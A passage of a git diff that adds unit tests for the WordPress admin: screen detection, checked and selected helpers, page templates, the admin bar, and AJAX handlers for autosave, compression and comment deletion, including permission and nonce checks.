+ $_post_data['saveasdraft'] = true;
+
+ $_results = _wp_translate_postdata( true, $_post_data );
+ $this->assertNotInstanceOf( 'WP_Error', $_results );
+ $this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+ $this->assertEquals( 'draft', $_results['post_status'] );
+
+ wp_set_current_user( 0 );
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/admin/includesScreen.php b/tests/tests/admin/includesScreen.php
new file mode 100644
index 0000000000..7952e3f0e2
--- /dev/null
+++ b/tests/tests/admin/includesScreen.php
@@ -0,0 +1,207 @@
+ array( 'base' => 'dashboard', 'id' => 'dashboard' ),
+ 'edit.php' => array( 'base' => 'edit', 'id' => 'edit-post', 'post_type' => 'post' ),
+ 'post-new.php'=> array( 'action' => 'add', 'base' => 'post', 'id' => 'post', 'post_type' => 'post' ),
+ 'edit-tags.php' => array( 'base' => 'edit-tags', 'id' => 'edit-post_tag', 'post_type' => 'post', 'taxonomy' => 'post_tag' ),
+ 'edit-tags.php?taxonomy=post_tag' => array( 'base' => 'edit-tags', 'id' => 'edit-post_tag', 'post_type' => 'post', 'taxonomy' => 'post_tag' ),
+ 'edit-tags.php?taxonomy=category' => array( 'base' => 'edit-tags', 'id' => 'edit-category', 'post_type' => 'post', 'taxonomy' => 'category' ),
+ 'upload.php' => array( 'base' => 'upload', 'id' => 'upload' ),
+ 'media-new.php' => array( 'action' => 'add', 'base' => 'media', 'id' => 'media' ),
+ 'edit.php?post_type=page' => array( 'base' => 'edit', 'id' => 'edit-page', 'post_type' => 'page' ),
+ 'link-manager.php' => array( 'base' => 'link-manager', 'id' => 'link-manager' ),
+ 'link-add.php' => array( 'action' => 'add', 'base' => 'link', 'id' => 'link' ),
+ 'edit-tags.php?taxonomy=link_category' => array( 'base' => 'edit-tags', 'id' => 'edit-link_category', 'taxonomy' => 'link_category', 'post_type' => '' ),
+ 'edit-comments.php' => array( 'base' => 'edit-comments', 'id' => 'edit-comments' ),
+ 'themes.php' => array( 'base' => 'themes', 'id' => 'themes' ),
+ 'widgets.php' => array( 'base' => 'widgets', 'id' => 'widgets' ),
+ 'nav-menus.php' => array( 'base' => 'nav-menus', 'id' => 'nav-menus' ),
+ 'plugins.php' => array( 'base' => 'plugins', 'id' => 'plugins' ),
+ 'users.php' => array( 'base' => 'users', 'id' => 'users' ),
+ 'user-new.php' => array( 'action' => 'add', 'base' => 'user', 'id' => 'user' ),
+ 'profile.php' => array( 'base' => 'profile', 'id' => 'profile' ),
+ 'tools.php' => array( 'base' => 'tools', 'id' => 'tools' ),
+ 'import.php' => array( 'base' => 'import', 'id' => 'import' ),
+ 'export.php' => array( 'base' => 'export', 'id' => 'export' ),
+ 'options-general.php' => array( 'base' => 'options-general', 'id' => 'options-general' ),
+ 'options-writing.php' => array( 'base' => 'options-writing', 'id' => 'options-writing' ),
+ );
+
+ function setUp() {
+ set_current_screen( 'front' );
+ }
+
+ function tearDown() {
+ parent::tearDown();
+ unset( $GLOBALS['wp_taxonomies']['old-or-new'] );
+ set_current_screen( 'front' );
+ }
+
+ function test_set_current_screen_with_hook_suffix() {
+ global $current_screen;
+
+ foreach ( $this->core_screens as $hook_name => $screen ) {
+ $_GET = $_POST = $_REQUEST = array();
+ $GLOBALS['taxnow'] = $GLOBALS['typenow'] = '';
+ $screen = (object) $screen;
+ $hook = parse_url( $hook_name );
+
+ if ( ! empty( $hook['query'] ) ) {
+ $args = wp_parse_args( $hook['query'] );
+ if ( isset( $args['taxonomy'] ) )
+ $GLOBALS['taxnow'] = $_GET['taxonomy'] = $_POST['taxonomy'] = $_REQUEST['taxonomy'] = $args['taxonomy'];
+ if ( isset( $args['post_type'] ) )
+ $GLOBALS['typenow'] = $_GET['post_type'] = $_POST['post_type'] = $_REQUEST['post_type'] = $args['post_type'];
+ else if ( isset( $screen->post_type ) )
+ $GLOBALS['typenow'] = $_GET['post_type'] = $_POST['post_type'] = $_REQUEST['post_type'] = $screen->post_type;
+ }
+
+ $GLOBALS['hook_suffix'] = $hook['path'];
+ set_current_screen();
+
+ $this->assertEquals( $screen->id, $current_screen->id, $hook_name );
+ $this->assertEquals( $screen->base, $current_screen->base, $hook_name );
+ if ( isset( $screen->action ) )
+ $this->assertEquals( $screen->action, $current_screen->action, $hook_name );
+ if ( isset( $screen->post_type ) )
+ $this->assertEquals( $screen->post_type, $current_screen->post_type, $hook_name );
+ else
+ $this->assertEmpty( $current_screen->post_type, $hook_name );
+ if ( isset( $screen->taxonomy ) )
+ $this->assertEquals( $screen->taxonomy, $current_screen->taxonomy, $hook_name );
+
+ $this->assertTrue( $current_screen->in_admin() );
+ $this->assertTrue( $current_screen->in_admin( 'site' ) );
+ $this->assertFalse( $current_screen->in_admin( 'network' ) );
+ $this->assertFalse( $current_screen->in_admin( 'user' ) );
+ $this->assertFalse( $current_screen->in_admin( 'garbage' ) );
+
+ // With convert_to_screen(), the same ID should return the exact $current_screen.
+ $this->assertSame( $current_screen, convert_to_screen( $screen->id ), $hook_name );
+
+ // With convert_to_screen(), the hook_suffix should return the exact $current_screen.
+ // But, convert_to_screen() cannot figure out ?taxonomy and ?post_type.
+ if ( empty( $hook['query'] ) )
+ $this->assertSame( $current_screen, convert_to_screen( $GLOBALS['hook_suffix'] ), $hook_name );
+ }
+ }
+
+ function test_post_type_as_hookname() {
+ $screen = convert_to_screen( 'page' );
+ $this->assertEquals( $screen->post_type, 'page' );
+ $this->assertEquals( $screen->base, 'post' );
+ $this->assertEquals( $screen->id, 'page' );
+ }
+
+ function test_post_type_with_special_suffix_as_hookname() {
+ register_post_type( 'value-add' );
+ $screen = convert_to_screen( 'value-add' ); // the -add part is key.
+ $this->assertEquals( $screen->post_type, 'value-add' );
+ $this->assertEquals( $screen->base, 'post' );
+ $this->assertEquals( $screen->id, 'value-add' );
+
+ $screen = convert_to_screen( 'edit-value-add' ); // the -add part is key.
+ $this->assertEquals( $screen->post_type, 'value-add' );
+ $this->assertEquals( $screen->base, 'edit' );
+ $this->assertEquals( $screen->id, 'edit-value-add' );
+ }
+
+ function test_taxonomy_with_special_suffix_as_hookname() {
+ register_taxonomy( 'old-or-new', 'post' );
+ $screen = convert_to_screen( 'edit-old-or-new' ); // the -new part is key.
+ $this->assertEquals( $screen->taxonomy, 'old-or-new' );
+ $this->assertEquals( $screen->base, 'edit-tags' );
+ $this->assertEquals( $screen->id, 'edit-old-or-new' );
+ }
+
+ function test_post_type_with_edit_prefix() {
+ register_post_type( 'edit-some-thing' );
+ $screen = convert_to_screen( 'edit-some-thing' );
+ $this->assertEquals( $screen->post_type, 'edit-some-thing' );
+ $this->assertEquals( $screen->base, 'post' );
+ $this->assertEquals( $screen->id, 'edit-some-thing' );
+
+ $screen = convert_to_screen( 'edit-edit-some-thing' );
+ $this->assertEquals( $screen->post_type, 'edit-some-thing' );
+ $this->assertEquals( $screen->base, 'edit' );
+ $this->assertEquals( $screen->id, 'edit-edit-some-thing' );
+ }
+
+ function test_post_type_edit_collisions() {
+ register_post_type( 'comments' );
+ register_post_type( 'tags' );
+
+ // Sorry, core wins here.
+ $screen = convert_to_screen( 'edit-comments' );
+ $this->assertEquals( $screen->base, 'edit-comments' );
+
+ // The post type wins here. convert_to_screen( $post_type ) is only relevant for meta boxes anyway.
+ $screen = convert_to_screen( 'comments' );
+ $this->assertEquals( $screen->base, 'post' );
+
+ // Core wins.
+ $screen = convert_to_screen( 'edit-tags' );
+ $this->assertEquals( $screen->base, 'edit-tags' );
+
+ $screen = convert_to_screen( 'tags' );
+ $this->assertEquals( $screen->base, 'post' );
+ }
+
+ function test_help_tabs() {
+ $tab = rand_str();
+ $tab_args = array(
+ 'id' => $tab,
+ 'title' => 'Help!',
+ 'content' => 'Some content',
+ 'callback' => false,
+ );
+
+ $screen = get_current_screen();
+ $screen->add_help_tab( $tab_args );
+ $this->assertEquals( $screen->get_help_tab( $tab ), $tab_args );
+
+ $tabs = $screen->get_help_tabs();
+ $this->assertArrayHasKey( $tab, $tabs );
+
+ $screen->remove_help_tab( $tab );
+ $this->assertNull( $screen->get_help_tab( $tab ) );
+
+ $screen->remove_help_tabs();
+ $this->assertEquals( $screen->get_help_tabs(), array() );
+ }
+
+ function test_in_admin() {
+ $screen = get_current_screen();
+
+ set_current_screen( 'edit.php' );
+ $this->assertTrue( get_current_screen()->in_admin() );
+ $this->assertTrue( get_current_screen()->in_admin( 'site' ) );
+ $this->assertFalse( get_current_screen()->in_admin( 'network' ) );
+ $this->assertFalse( get_current_screen()->in_admin( 'user' ) );
+
+ set_current_screen( 'dashboard-network' );
+ $this->assertTrue( get_current_screen()->in_admin() );
+ $this->assertFalse( get_current_screen()->in_admin( 'site' ) );
+ $this->assertTrue( get_current_screen()->in_admin( 'network' ) );
+ $this->assertFalse( get_current_screen()->in_admin( 'user' ) );
+
+ set_current_screen( 'dashboard-user' );
+ $this->assertTrue( get_current_screen()->in_admin() );
+ $this->assertFalse( get_current_screen()->in_admin( 'site' ) );
+ $this->assertFalse( get_current_screen()->in_admin( 'network' ) );
+ $this->assertTrue( get_current_screen()->in_admin( 'user' ) );
+
+ set_current_screen( 'front' );
+ $this->assertFalse( get_current_screen()->in_admin() );
+ $this->assertFalse( get_current_screen()->in_admin( 'site' ) );
+ $this->assertFalse( get_current_screen()->in_admin( 'network' ) );
+ $this->assertFalse( get_current_screen()->in_admin( 'user' ) );
+
+ $GLOBALS['current_screen'] = $screen;
+ }
+}
diff --git a/tests/tests/admin/includesTemplate.php b/tests/tests/admin/includesTemplate.php
new file mode 100644
index 0000000000..b3bd6dccb6
--- /dev/null
+++ b/tests/tests/admin/includesTemplate.php
@@ -0,0 +1,48 @@
+assertEquals(' selected=\'selected\'', selected('foo','foo',false));
+ $this->assertEquals(' checked=\'checked\'', checked('foo','foo',false));
+
+ $this->assertEquals(' selected=\'selected\'', selected('1',1,false));
+ $this->assertEquals(' checked=\'checked\'', checked('1',1,false));
+
+ $this->assertEquals(' selected=\'selected\'', selected('1',true,false));
+ $this->assertEquals(' checked=\'checked\'', checked('1',true,false));
+
+ $this->assertEquals(' selected=\'selected\'', selected(1,1,false));
+ $this->assertEquals(' checked=\'checked\'', checked(1,1,false));
+
+ $this->assertEquals(' selected=\'selected\'', selected(1,true,false));
+ $this->assertEquals(' checked=\'checked\'', checked(1,true,false));
+
+ $this->assertEquals(' selected=\'selected\'', selected(true,true,false));
+ $this->assertEquals(' checked=\'checked\'', checked(true,true,false));
+
+ $this->assertEquals(' selected=\'selected\'', selected('0',0,false));
+ $this->assertEquals(' checked=\'checked\'', checked('0',0,false));
+
+ $this->assertEquals(' selected=\'selected\'', selected(0,0,false));
+ $this->assertEquals(' checked=\'checked\'', checked(0,0,false));
+
+ $this->assertEquals(' selected=\'selected\'', selected('',false,false));
+ $this->assertEquals(' checked=\'checked\'', checked('',false,false));
+
+ $this->assertEquals(' selected=\'selected\'', selected(false,false,false));
+ $this->assertEquals(' checked=\'checked\'', checked(false,false,false));
+ }
+
+ function test_notequal() {
+ $this->assertEquals('', selected('0','',false));
+ $this->assertEquals('', checked('0','',false));
+
+ $this->assertEquals('', selected(0,'',false));
+ $this->assertEquals('', checked(0,'',false));
+
+ $this->assertEquals('', selected(0,false,false));
+ $this->assertEquals('', checked(0,false,false));
+ }
+}
diff --git a/tests/tests/admin/includesTheme.php b/tests/tests/admin/includesTheme.php
new file mode 100644
index 0000000000..9906f48e17
--- /dev/null
+++ b/tests/tests/admin/includesTheme.php
@@ -0,0 +1,54 @@
+theme_root = DIR_TESTDATA . '/themedir1';
+
+ $this->orig_theme_dir = $GLOBALS['wp_theme_directories'];
+ $GLOBALS['wp_theme_directories'] = array( WP_CONTENT_DIR . '/themes', $this->theme_root );
+
+ add_filter('theme_root', array(&$this, '_theme_root'));
+ add_filter( 'stylesheet_root', array(&$this, '_theme_root') );
+ add_filter( 'template_root', array(&$this, '_theme_root') );
+
+ // clear caches
+ wp_clean_themes_cache();
+ unset( $GLOBALS['wp_themes'] );
+ }
+
+ function tearDown() {
+ $GLOBALS['wp_theme_directories'] = $this->orig_theme_dir;
+ remove_filter('theme_root', array(&$this, '_theme_root'));
+ remove_filter( 'stylesheet_root', array(&$this, '_theme_root') );
+ remove_filter( 'template_root', array(&$this, '_theme_root') );
+
+ wp_clean_themes_cache();
+ unset( $GLOBALS['wp_themes'] );
+ parent::tearDown();
+ }
+
+ // replace the normal theme root dir with our premade test dir
+ function _theme_root($dir) {
+ return $this->theme_root;
+ }
+
+ /**
+ * @ticket 10959
+ * @ticket 11216
+ */
+ function test_page_templates() {
+ $theme = get_theme('Page Template Theme');
+ $this->assertFalse( empty($theme) );
+
+ switch_theme($theme['Template'], $theme['Stylesheet']);
+
+ $templates = get_page_templates();
+ $this->assertEquals(3, count($templates));
+ $this->assertEquals("template-top-level.php", $templates['Top Level']);
+ $this->assertEquals("subdir/template-sub-dir.php", $templates['Sub Dir']);
+ $this->assertEquals("template-header.php", $templates['This Template Header Is On One Line']);
+ }
+}
diff --git a/tests/tests/adminbar.php b/tests/tests/adminbar.php
new file mode 100644
index 0000000000..533f7caad1
--- /dev/null
+++ b/tests/tests/adminbar.php
@@ -0,0 +1,64 @@
+current_user = get_current_user_id();
+ wp_set_current_user( $this->factory->user->create( array( 'role' => 'editor' ) ) );
+ }
+
+ function tearDown() {
+ wp_set_current_user( $this->current_user );
+ parent::tearDown();
+ }
+
+ /**
+ * @ticket 21117
+ */
+ function test_content_post_type() {
+ register_post_type( 'content', array( 'show_in_admin_bar' => true ) );
+
+ $admin_bar = new WP_Admin_Bar;
+
+ wp_admin_bar_new_content_menu( $admin_bar );
+
+ $nodes = $admin_bar->get_nodes();
+ $this->assertFalse( $nodes['new-content']->parent );
+ $this->assertEquals( 'new-content', $nodes['add-new-content']->parent );
+
+ _unregister_post_type( 'content' );
+ }
+
+ /**
+ * @ticket 21117
+ */
+ function test_merging_existing_meta_values() {
+ $admin_bar = new WP_Admin_Bar;
+
+ $admin_bar->add_node( array(
+ 'id' => 'test-node',
+ 'meta' => array( 'class' => 'test-class' ),
+ ) );
+ $node = $admin_bar->get_node( 'test-node' );
+ $this->assertEquals( array( 'class' => 'test-class' ), $node->meta );
+
+ $admin_bar->add_node( array(
+ 'id' => 'test-node',
+ 'meta' => array( 'some-meta' => 'value' ),
+ ) );
+
+ $node = $admin_bar->get_node( 'test-node' );
+ $this->assertEquals( array( 'class' => 'test-class', 'some-meta' => 'value' ), $node->meta );
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/ajax/Autosave.php b/tests/tests/ajax/Autosave.php
new file mode 100644
index 0000000000..4b9c00c390
--- /dev/null
+++ b/tests/tests/ajax/Autosave.php
@@ -0,0 +1,114 @@
+factory->post->create( array( 'post_status' => 'draft' ) );
+ $this->_post = get_post( $post_id );
+ }
+
+ /**
+ * Test autosaving a post
+ * @return void
+ */
+ public function test_autosave_post() {
+
+ // Become an admin
+ $this->_setRole( 'administrator' );
+
+ // Set up the $_POST request
+ $md5 = md5( uniqid() );
+ $_POST = array(
+ 'post_id' => $this->_post->ID,
+ 'autosavenonce' => wp_create_nonce( 'autosave' ),
+ 'post_content' => $this->_post->post_content . PHP_EOL . $md5,
+ 'post_type' => 'post',
+ 'autosave' => 1,
+ );
+
+ // Make the request
+ try {
+ $this->_handleAjax( 'autosave' );
+ } catch ( WPAjaxDieContinueException $e ) {
+ unset( $e );
+ }
+
+ // Get the response
+ $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+ // Ensure everything is correct
+ $this->assertEquals( $this->_post->ID, (int) $xml->response[0]->autosave['id'] );
+ $this->assertEquals( 'autosave_' . $this->_post->ID, (string) $xml->response['action']);
+
+ // Check that the edit happened
+ $post = get_post( $this->_post->ID) ;
+ $this->assertGreaterThanOrEqual( 0, strpos( $post->post_content, $md5 ) );
+ }
+
+ /**
+ * Test with an invalid nonce
+ * @return void
+ */
+ public function test_with_invalid_nonce( ) {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up the $_POST request
+ $_POST = array(
+ 'post_id' => $this->_post->ID,
+ 'autosavenonce' => md5( uniqid() ),
+ 'autosave' => 1
+ );
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+ $this->_handleAjax( 'autosave' );
+ }
+
+ /**
+ * Test with a bad post id
+ * @return void
+ */
+ public function test_with_invalid_post_id( ) {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up the $_POST request
+ $_POST = array(
+ 'post_id' => 0,
+ 'autosavenonce' => wp_create_nonce( 'autosave' ),
+ 'autosave' => 1,
+ 'post_type' => 'post'
+ );
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', 'You are not allowed to edit this post.' );
+ $this->_handleAjax( 'autosave' );
+ }
+}
diff --git a/tests/tests/ajax/Compression.php b/tests/tests/ajax/Compression.php
new file mode 100644
index 0000000000..cd76532023
--- /dev/null
+++ b/tests/tests/ajax/Compression.php
@@ -0,0 +1,199 @@
+logout();
+
+ // Set up a default request
+ $_GET['test'] = 1;
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '0' );
+ $this->_handleAjax( 'wp-compression-test' );
+ }
+
+ /**
+ * Fetch the test text
+ */
+ public function test_text() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_GET['test'] = 1;
+
+ // Make the request
+ try {
+ $this->_handleAjax( 'wp-compression-test' );
+ } catch ( WPAjaxDieContinueException $e ) {
+ unset( $e );
+ }
+
+ // Ensure we found the right match
+ $this->assertContains( 'wpCompressionTest', $this->_last_response );
+ }
+
+ /**
+ * Fetch the test text (gzdeflate)
+ */
+ public function test_gzdeflate() {
+
+ if ( !function_exists( 'gzdeflate' ) ) {
+ $this->markTestSkipped( 'gzdeflate function not available' );
+ }
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_GET['test'] = 2;
+ $_SERVER['HTTP_ACCEPT_ENCODING'] = 'deflate';
+
+ // Make the request
+ try {
+ $this->_handleAjax( 'wp-compression-test' );
+ } catch ( WPAjaxDieContinueException $e ) {
+ unset( $e );
+ }
+
+ // Ensure we found the right match
+ $this->assertContains( 'wpCompressionTest', gzinflate( $this->_last_response ) );
+ }
+
+ /**
+ * Fetch the test text (gzencode)
+ */
+ public function test_gzencode() {
+
+ if ( !function_exists('gzencode') ) {
+ $this->markTestSkipped( 'gzencode function not available' );
+ }
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_GET['test'] = 2;
+ $_SERVER['HTTP_ACCEPT_ENCODING'] = 'gzip';
+
+ // Make the request
+ try {
+ $this->_handleAjax( 'wp-compression-test' );
+ } catch ( WPAjaxDieContinueException $e ) {
+ unset( $e );
+ }
+
+ // Ensure we found the right match
+ $this->assertContains( 'wpCompressionTest', $this->_gzdecode( $this->_last_response ) );
+ }
+
+ /**
+ * Fetch the test text (unknown encoding)
+ */
+ public function test_unknown_encoding() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_GET['test'] = 2;
+ $_SERVER['HTTP_ACCEPT_ENCODING'] = 'unknown';
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+ $this->_handleAjax( 'wp-compression-test' );
+ }
+
+ /**
+ * Set the 'can_compress_scripts' site option to true
+ */
+ public function test_set_yes() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_GET['test'] = 'yes';
+
+ // Set the option to false
+ update_site_option( 'can_compress_scripts', 0 );
+
+ // Make the request
+ try {
+ $this->_handleAjax( 'wp-compression-test' );
+ } catch ( WPAjaxDieStopException $e ) {
+ unset( $e );
+ }
+
+ // Check the site option
+ $this->assertEquals( 1, get_site_option( 'can_compress_scripts' ) );
+ }
+
+ /**
+ * Set the 'can_compress_scripts' site option to false
+ */
+ public function test_set_no() {
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_GET['test'] = 'no';
+
+ // Set the option to true
+ update_site_option( 'can_compress_scripts', 1 );
+
+ // Make the request
+ try {
+ $this->_handleAjax( 'wp-compression-test' );
+ } catch ( WPAjaxDieStopException $e ) {
+ unset( $e );
+ }
+
+ // Check the site option
+ $this->assertEquals( 0, get_site_option( 'can_compress_scripts' ) );
+ }
+
+ /**
+ * Undo gzencode. This is ugly, but there's no stock gzdecode() function.
+ * @param string $encoded_data
+ * @return string
+ */
+ protected function _gzdecode( $encoded_data ) {
+
+ // Save the encoded data to a temp file
+ $file = wp_tempnam( 'gzdecode' );
+ file_put_contents( $file, $encoded_data );
+
+ // Flush it to the output buffer and delete the temp file
+ ob_start();
+ readgzfile( $file );
+ unlink( $file );
+
+ // Save the data stop buffering
+ $data = ob_get_clean();
+ ob_end_clean();
+
+ // Done
+ return $data;
+ }
+}
diff --git a/tests/tests/ajax/DeleteComment.php b/tests/tests/ajax/DeleteComment.php
new file mode 100644
index 0000000000..97a2c02660
--- /dev/null
+++ b/tests/tests/ajax/DeleteComment.php
@@ -0,0 +1,355 @@
+factory->post->create();
+ $this->_comments = $this->factory->comment->create_post_comments( $post_id, 15 );
+ $this->_comments = array_map( 'get_comment', $this->_comments );
+ }
+
+ /**
+ * Clear the POST actions in between requests
+ */
+ protected function _clear_post_action() {
+ unset($_POST['trash']);
+ unset($_POST['untrash']);
+ unset($_POST['spam']);
+ unset($_POST['unspam']);
+ unset($_POST['delete']);
+ $this->_last_response = '';
+ }
+
+ /***********************************************************/
+ /** Test prototype
+ /***********************************************************/
+
+ /**
+ * Test as a privilged user (administrator)
+ * Expects test to pass
+ * @param mixed $comment Comment object
+ * @param string action trash, untrash, etc.
+ * @return void
+ */
+ public function _test_as_admin( $comment, $action ) {
+
+ // Reset request
+ $this->_clear_post_action();
+
+ // Become an administrator
+ $this->_setRole( 'administrator' );
+
+ // Set up a default request
+ $_POST['id'] = $comment->comment_ID;
+ $_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_' . $comment->comment_ID );
+ $_POST[$action] = 1;
+ $_POST['_total'] = count( $this->_comments );
+ $_POST['_per_page'] = 100;
+ $_POST['_page'] = 1;
+ $_POST['_url'] = admin_url( 'edit-comments.php' );
+
+ // Make the request
+ try {
+ $this->_handleAjax( 'delete-comment' );
+ } catch ( WPAjaxDieContinueException $e ) {
+ unset( $e );
+ }
+
+ // Get the response
+ $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+ // Ensure everything is correct
+ $this->assertEquals( $comment->comment_ID, (string) $xml->response[0]->comment['id'] );
+ $this->assertEquals( 'delete-comment_' . $comment->comment_ID, (string) $xml->response['action'] );
+ $this->assertGreaterThanOrEqual( time() - 10, (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] );
+ $this->assertLessThanOrEqual( time(), (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] );
+
+ // trash, spam, delete should make the total go down
+ if ( in_array( $action, array( 'trash', 'spam', 'delete' ) ) ) {
+ $total = $_POST['_total'] - 1;
+
+ // unspam, untrash should make the total go up
+ } elseif ( in_array( $action, array( 'untrash', 'unspam' ) ) ) {
+ $total = $_POST['_total'] + 1;
+ }
+
+ // The total is calculated based on a page break -OR- a random number. Let's look for both possible outcomes
+ $comment_count = wp_count_comments( 0 );
+ $recalc_total = $comment_count->total_comments;
+
+ // Check for either possible total
+ $this->assertTrue( in_array( (int) $xml->response[0]->comment[0]->supplemental[0]->total[0] , array( $total, $recalc_total ) ) );
+ }
+
+ /**
+ * Test as a non-privileged user (subscriber)
+ * Expects test to fail
+ * @param mixed $comment Comment object
+ * @param string action trash, untrash, etc.
+ * @return void
+ */
+ public function _test_as_subscriber( $comment, $action ) {
+
+ // Reset request
+ $this->_clear_post_action();
+
+ // Become a subscriber
+ $this->_setRole( 'subscriber' );
+
+ // Set up the $_POST request
+ $_POST['id'] = $comment->comment_ID;
+ $_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_' . $comment->comment_ID );
+ $_POST[$action] = 1;
+ $_POST['_total'] = count( $this->_comments );
+ $_POST['_per_page'] = 100;
+ $_POST['_page'] = 1;
+ $_POST['_url'] = admin_url( 'edit-comments.php' );
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+ $this->_handleAjax( 'delete-comment' );
+ }
+
+
+ /**
+ * Test with a bad nonce
+ * Expects test to fail
+ * @param mixed $comment Comment object
+ * @param string action trash, untrash, etc.
+ * @return void
+ */
+ public function _test_with_bad_nonce( $comment, $action ) {
+
+ // Reset request
+ $this->_clear_post_action();
+
+ // Become a subscriber
+ $this->_setRole( 'administrator' );
+
+ // Set up the $_POST request
+ $_POST['id'] = $comment->comment_ID;
+ $_POST['_ajax_nonce'] = wp_create_nonce( uniqid() );
+ $_POST[$action] = 1;
+ $_POST['_total'] = count( $this->_comments );
+ $_POST['_per_page'] = 100;
+ $_POST['_page'] = 1;
+ $_POST['_url'] = admin_url( 'edit-comments.php' );
+
+ // Make the request
+ $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+ $this->_handleAjax( 'delete-comment' );
+ }
+
+ /**
+ * Test with a bad id
+ * Expects test to fail
+ * @param mixed $comment Comment object
+ * @param string action trash, untrash, etc.
+ * @return void
+ */
+ public function _test_with_bad_id( $comment, $action ) {
+
+ // Reset request
+ $this->_clear_post_action();
+
+ // Become a subscriber
+ $this->_setRole( 'administrator' );
+
+ // Set up the $_POST request
+ $_POST['id'] = 12346789;
+ $_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_12346789' );
+ $_POST[$action] = 1;
+ $_POST['_total'] = count( $this->_comments );
+ $_POST['_per_page'] = 100;
+ $_POST['_page'] = 1;
+ $_POST['_url'] = admin_url( 'edit-comments.php' );
+
+ // Make the request, look for a timestamp in the exception
+ try {
+ $this->_handleAjax( 'delete-comment' );
+ $this->fail( 'Expected exception: WPAjaxDieStopException' );
+ } catch ( WPAjaxDieStopException $e ) {
+ $this->assertEquals( 10, strlen( $e->getMessage() ) );
+ $this->assertTrue( is_numeric( $e->getMessage() ) );
+ } catch ( Exception $e ) {
+ $this->fail( 'Unexpected exception type: ' . get_class( $e ) );
+ }
+ }
+
+ /**
+ * Test doubling the action (e.g. trash a trashed comment)
+ * Expects test to fail
+ * @param mixed $comment Comment object
+ * @param string action trash, untrash, etc.
+ * @return void
+ */
+ public function _test_double_action( $comment, $action ) {
+
+ // Reset request
+ $this->_clear_post_action();
+
+ // Become a subscriber
+ $this->_setRole( 'administrator' );
+
+ // Set up the $_POST request
+ $_POST['id'] = $comment->comment_ID;
+ $_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_' . $comment->comment_ID );
+ $_POST[$action] = 1;
+ $_POST['_total'] = count( $this->_comments );
+ $_POST['_per_page'] = 100;
+ $_POST['_page'] = 1;
+ $_POST['_url'] = admin_url( 'edit-comments.php' );
+
+ // Make the request
+ try {
+ $this->_handleAjax( 'delete-comment' );
+ } catch ( WPAjaxDieContinueException $e ) {
+ unset( $e );
+ }
+ $this->_last_response = '';
+
+ // Force delete the comment
+ if ( 'delete' == $action ) {
+ wp_delete_comment( $comment->comment_ID, true );
+ }
+
+ // Make the request again, look for a timestamp in the exception
+ try {
+ $this->_handleAjax( 'delete-comment' );
+ $this->fail( 'Expected exception: WPAjaxDieStopException' );
+ } catch ( WPAjaxDieStopException $e ) {
+ $this->assertEquals( 10, strlen( $e->getMessage() ) );
+ $this->assertTrue( is_numeric( $e->getMessage() ) );
+ } catch ( Exception $e ) {
+ $this->fail( 'Unexpected exception type: ' . get_class( $e ) );
+ }
+ }
+
+ /**
+ * Delete a comment as an administrator (expects success)
+ * @return void
+ */
+ public function test_ajax_comment_trash_actions_as_administrator() {
+
+ // Test trash/untrash
+ $comment = array_pop( $this->_comments );
+ $this->_test_as_admin( $comment, 'trash' );
+ $this->_test_as_admin( $comment, 'untrash' );
+
+ // Test spam/unspam
+ $comment = array_pop( $this->_comments );
+ $this->_test_as_admin( $comment, 'spam' );
+ $this->_test_as_admin( $comment, 'unspam' );
+
+ // Test delete
+ $comment = array_pop( $this->_comments );
+ $this->_test_as_admin( $comment, 'delete' );
+ }
+
+ /**
+ * Delete a comment as a subscriber (expects permission denied)
+ * @return void
+ */
+ public function test_ajax_comment_trash_actions_as_subscriber() {
+
+ // Test trash/untrash
+ $comment = array_pop( $this->_comments );
+ $this->_test_as_subscriber( $comment, 'trash' );
+ $this->_test_as_subscriber( $comment, 'untrash' );
+
+ // Test spam/unspam
+ $comment = array_pop( $this->_comments );
+ $this->_test_as_subscriber( $comment, 'spam' );
+ $this->_test_as_subscriber( $comment, 'unspam' );
+
+ // Test delete
+ $comment = array_pop( $this->_comments );
+ $this->_test_as_subscriber( $comment, 'delete' );
+ }
+
+ /**
+ * Delete a comment with no id
+ * @return void
+ */
+ public function test_ajax_trash_comment_no_id() {
+
+ // Test trash/untrash
+ $comment = array_pop( $this->_comments );
+ $this->_test_as_admin( $comment, 'trash' );
+ $this->_test_as_admin( $comment, 'untrash' );
+
+ // Test spam/unspam
+ $comment = array_pop( $this->_comments );
+ $this->_test_as_admin( $comment, 'spam' );
+ $this->_test_as_admin( $comment, 'unspam' );
+
+ // Test delete
+ $comment = array_pop( $this->_comments );
+ $this->_test_as_admin( $comment, 'delete' );
+ }
+
+ /**
+ * Delete a comment with a bad nonce
+ * @return void
+ */
+ public function test_ajax_trash_comment_bad_nonce() {
+
+ // Test trash/untrash
+ $comment = array_pop( $this->_comments );
+ $this->_test_with_bad_nonce( $comment, 'trash' );
+ $this->_test_with_bad_nonce( $comment, 'untrash' );
+
